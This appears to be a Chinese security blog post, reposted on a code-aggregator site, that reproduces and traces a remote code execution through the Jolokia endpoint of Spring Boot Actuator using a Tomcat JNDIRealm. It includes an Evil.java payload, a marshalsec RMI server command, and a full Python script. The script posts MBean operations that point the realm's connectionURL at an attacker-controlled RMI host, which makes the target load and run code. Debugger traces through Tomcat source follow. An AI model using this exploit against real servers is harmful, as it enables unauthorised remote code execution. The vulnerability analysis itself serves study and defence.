当前位置: 代码迷 >> 综合 >> jolokia Realm JNDI RCE分析
  详细解决方案

jolokia Realm JNDI RCE分析

热度:50   发布时间:2023-11-26 20:56:56.0

jolokia Realm JNDI RCE分析

漏洞复现

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

漏洞复现:

  1. python3 -m http.server 80 在 VPS 上开启一个 WEB 服务

  2. 编写 Evil.java 类上传到 VPS WEB 根目录

    public class Evil{
          public Evil() throws Exception{
          Runtime.getRuntime().exec("calc.exe");}
    }
    
  3. 使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.43.141:80/#Evil 1389 在 VPS 上搭建一个 RMI 服务

  4. 在 VPS 上用 python springboot-realm-jndi-rce.py 攻击

    #!/usr/bin/env python3
    # coding: utf-8
    # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txtimport requestsurl = 'http://192.168.43.79:9094/jolokia'create_realm = {
          "mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
    }wirte_factory = {
          "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
    }write_url = {
          "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://192.168.43.141:1389/Evil"
    }stop = {
          "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
    }start = {
          "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
    }flow = [create_realm, wirte_factory, write_url, stop, start]for i in flow:print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))r = requests.post(url, json=i)r.json()print(r.status_code)
    

漏洞利用条件:

  1. 网站存在 /jolokia/actuator/jolokia 接口
  2. 环境存在相关 MBean,如 type=MBeanFactorycreateJNDIRealm 关键字

漏洞分析

org.apache.catalina.mbeans.MBeanFactory#createJNDIRealm 方法下断点,如下访问调用MBeanFactory#createJNDIRealm 方法创建 JNDIRealm

http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
}

可以看到最终返回的是 Tomcat:type=Realm,realmPath=/realm0,所以后面就基于这个操作
image-20211209175819705
org.apache.catalina.realm.JNDIRealm#setContextFactory 方法下断点,如下访问调用 setContextFactory 方法设置 JNDIRealm.contextFactory 属性值

http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

可以看到把 JNDIRealm.contextFactory 属性值设置为了 com.sun.jndi.rmi.registry.RegistryContextFactory
image-20211209180715412
org.apache.catalina.realm.JNDIRealm#setConnectionURL 方法下断点,如下访问调用 setConnectionURL 方法设置 JNDIRealm.connectionURL 属性值

http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://192.168.43.141:1389/Evil"
}

可以看到把 JNDIRealm.connectionURL 属性值设置为了 rmi://192.168.43.141:1389/Evil,即我们部署了恶意 RMI 服务的地址
image-20211209180942164
如下访问停止 Tomcat:realmPath=/realm0,type=Realm

http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
}

org.apache.catalina.realm.JNDIRealm#startInternal 方法下断点,访问如下开启 Tomcat:realmPath=/realm0,type=Realm

http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
}

开启的时候会调用 startInternal 方法,startInternal 方法调用 open 方法
image-20211209190406953
跟进 open 方法,调用 createDirContext 方法根据 getDirectoryContextEnvironment 方法返回值配对一个JNDI目录服务对象,触发JNDI注入
image-20211209190550940
跟进 getDirectoryContextEnvironment 方法,这里会把 java.naming.factory.initial 环境变量赋值为 com.sun.jndi.rmi.registry.RegistryContextFactory,即我们前面设置的 contextFactory 属性值;把java.naming.provider.url 赋值为 rmi://192.168.43.141:1389/Evil,即我们前面设置的 connectionURL 属性值
image-20211209190901944
然后回到调用 createDirContext 方法根据 getDirectoryContextEnvironment 方法返回值创建一个JNDI服务
image-20211209191014516
最后调用栈如下
image-20211209191314078
最终可以看到 com.sun.jndi.rmi.registry.RegistryContext#lookup 方法如下代码
image-20211209191533560

总结

网上也没找着过程分析的文章,所以就自己跟了一下,对 jolokia 的使用也不太了解,有误请各位师傅指出!

Reference:

https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html
https://www.cnblogs.com/zpchcbd/p/15542706.html
https://github.com/LandGrey/SpringBootVulExploit

  相关解决方案